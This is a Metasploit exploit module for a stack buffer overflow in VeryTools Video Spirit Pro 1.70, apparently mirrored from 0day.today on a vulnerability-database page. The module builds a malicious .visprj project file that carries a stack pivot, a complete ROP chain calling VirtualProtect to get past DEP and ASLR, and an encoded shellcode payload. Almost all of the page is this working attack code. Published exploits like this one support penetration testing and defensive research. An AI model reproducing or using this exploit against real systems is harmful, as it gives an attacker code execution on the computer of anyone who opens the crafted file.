Lucene search
K

VeryTools Video Spirit Pro <= 1.70 .visprj Buffer Overflow

🗓️ 12 Apr 2011 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 34 Views

VeryTools Video Spirit Pro <= 1.70 .visprj Buffer Overflow. Stack buffer overflow in Video Spirit <= 1.70 when opening a malicious project file (.visprj) allowing arbitrary code execution

Code
##
# $Id: videospirit_visprj.rb 12305 2011-04-11 23:32:41Z sinn3r $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking
 
    include Msf::Exploit::FILEFORMAT
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'VeryTools Video Spirit Pro <= 1.70',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in Video Spirit <= 1.70.
                When opening a malicious project file (.visprj), a stack buffer overflow occurs,
                resulting in arbitrary code execution.
                This exploit bypasses DEP & ASLR, and works on XP, Vista & Windows 7.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Acidgen',      #found the vulnerability
                    'corelanc0d3r', #rop exploit + msf module
                ],
            'Version'        => '$Revision: 12305 $',
            'References'     =>
                [
                    [ 'URL', 'http://www.corelan.be/advisories.php?id=CORELAN-11-001' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'        => 800,  #0x320 bytes - avoid marking wrong page as RWX
                    'BadChars'     => "\x00\x0a\x0b\x0c\x0d\x0e\x0f\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x26\x27\x2f\x3c\x3e",
                    'DisableNops'  => 'True',
                },
            'Platform' => 'win',
            'Targets'  =>
                [
                    [ 'Windows XP/Vista/Win7/... Generic DEP & ASLR Bypass',
                        {
                            'OffSet'      => 168,
                            'OffSetToRop' => 952,
                            'Ret'         => 0x1006CC10, #overlayplug.dll stackpivot bad char friendly
                        }
                    ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Apr 11 2011',
            'DefaultTarget'  => 0))
 
        register_options(
            [
                OptString.new('FILENAME', [ true, 'VideoSpirit project name.',  'msf.visprj']),
            ], self.class)
    end
 
    def junk
        return rand_text_alphanumeric(4).unpack("L")[0].to_i
    end
 
    def exploit
 
        print_status("Creating '#{datastore['FILENAME']}' file ...")
 
        header = %Q|
<version value="1" />
<track>
<type value="0" />
<type value="4" />
<type value="2" />
<type value="1" />
<type value="7" />
</track>
<track0 />
<track1 />
<track2 />
<track3 />
<track4 />
<clip />
<output typename="AVI" keepaspect="0" presetquality="0">
<type0 enable="1">
|
 
        footer = %Q|
<valitem name="320*240(4:3)" value="320*240" />
<valitem name="30" value="30" />
<valitem name="16000k" value="16000k" />
</type0>
<type1 enable="1">
<valitem name="mp3" value="libmp3lame" />
<valitem name="128k" value="128k" />
<valitem name="44100" value="44100" />
<valitem name="2 (Stereo)" value="2" />
</type1>
<type2 enable="0" />
</output>
|
        print_status("Preparing payload")
 
        pivot = [target.ret].pack('V')
 
        rop_gadgets =
        [
            # one non-ASLR module is enough for generic ASLR & DEP bypass !
            # pvefindaddr rop 'n roll
            # First, grab VirtualProtect ptr
            0x10065292,  # POP EAX # RETN      [OverlayPlug.dll]
            0x106F4244,  # IAT entry + offsqet (bad char friendly)
            0x10019762,  # POP EBP # RETN      [OverlayPlug.dll]
            0xEFEFEFF0,  # bye bye offset
            0x10084977,  # ADD EBP,EAX # RETN  [OverlayPlug.dll]
            0x100684B8,  # MOV EAX,EBP # POP ESI # POP EBP # POP EBX # RETN  [OverlayPlug.dll]
            junk,
            junk,
            junk,
            0x1005E114,  # MOV EAX,DWORD PTR DS:[EAX] # RETN  [OverlayPlug.dll]
            0x10016A56,  # XCHG EAX,ESI         [OverlayPlug.dll]
 
            # set size
            0x100A9274,  # POP EAX # RETN       [OverlayPlug.dll]
            0x10101330,  # 0x320 bytes - change this if needed, but don't make it too big :)
            0x10019762,  # POP EBP # RETN       [OverlayPlug.dll]
            0xEFEFEFF0,  # boo
            0x10084977,  # ADD EBP,EAX # RETN   [OverlayPlug.dll]
            0x10053E4C,  # XCHG EAX,EBP # RETN  [OverlayPlug.dll]
            0x10066D8C,  # PUSH EAX # ADD AL,5D # POP EBX # MOV DWORD PTR FS:[0],ECX # ADD ESP,50 # RETN 10  [OverlayPlug.dll]
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
 
            # set NewProtect to 0x40
            0x100E3D4A,  # XOR EAX,EAX # XOR EDX,EDX # RETN  [OverlayPlug.dll]
            junk,
            junk,
            junk,
            junk,
            0x10010C36,  # ADD EAX,10 # POP EBP # RETN 4  [OverlayPlug.dll]
            junk,
            0x10010C36,  # ADD EAX,10 # POP EBP # RETN 4  [OverlayPlug.dll]
            junk,
            junk,
            0x10010C36,  # ADD EAX,10 # POP EBP # RETN 4  [OverlayPlug.dll]
            junk,
            junk,
            0x10010C36,  # ADD EAX,10 # POP EBP # RETN 4  [OverlayPlug.dll]
            junk,
            junk,
            0x10030C8B,  # ADD DL,AL # ADD AL,0 # MOV EAX,EDX # RETN 4  [OverlayPlug.dll]
            junk,
 
            # write pOldProtect to .data section
            0x1001AB51,  # POP ECX # RETN  [OverlayPlug.dll]
            junk,
            0x10117030,  # RW
 
            # EDI : ROP NOP
            0x10057090,  # POP EDI # RETN  [OverlayPlug.dll]
            0x10057091,  # ROP NOP
 
            # pReturn2Payload
            0x100BC8E8,  # PUSH ESP # MOV EAX,ESI # POP ESI # RETN  [OverlayPlug.dll]
            0x10016A56,  # XCHG EAX,ESI # RETN  [OverlayPlug.dll]
            0x1003C946,  # ADD EAX,0A # RETN    [OverlayPlug.dll]
            0x1003C946,
            0x1003C946,
            0x1003C946,
            0x1003C946,
            0x1003C946,
            0x1003C946,
            0x1003C946,
            0x1003C946,
            0x1003C946,
            0x1003C946,
            0x1003C946,
            0x1003C946,
            0x1003C946,
            0x1003C946,
            0x1003C946,
            0x1003C946,
            0x1003C946,
            0x1003C946,
            0x1003C946,
            0x1001FDBD,  # XCHG EAX,EBP # RETN  [OverlayPlug.dll]
 
            0x100A9274,  # POP EAX # RETN       [OverlayPlug.dll]
            0x41414141,
 
            # go
            0x10066F84,  # PUSHAD # RETN        [OverlayPlug.dll]
        ].pack("V*")
 
 
        buffer = "<valitem name="
        buffer << '"'
        buffer << rand_text_alphanumeric((target['OffSet']))
        buffer << rand_text_alphanumeric(4) #nseh
        buffer << pivot
        buffer << rand_text_alphanumeric((target['OffSetToRop']))
        buffer << "\x91\x70\x05\x10" * 10   #rop nop, offset Win7
        buffer << rop_gadgets
        buffer << make_nops(150)
        buffer << payload.encoded
        buffer << rand_text_alphanumeric(4000)
        buffer << '"'
        buffer << ' value="msmpeg4v2"'
        buffer << "/>"
        buffer << "\n"
 
        filecontent = header + buffer + footer
 
        print_status("Writing payload to file")
 
        file_create(filecontent)
 
    end
 
end



#  0day.today [2018-02-19]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation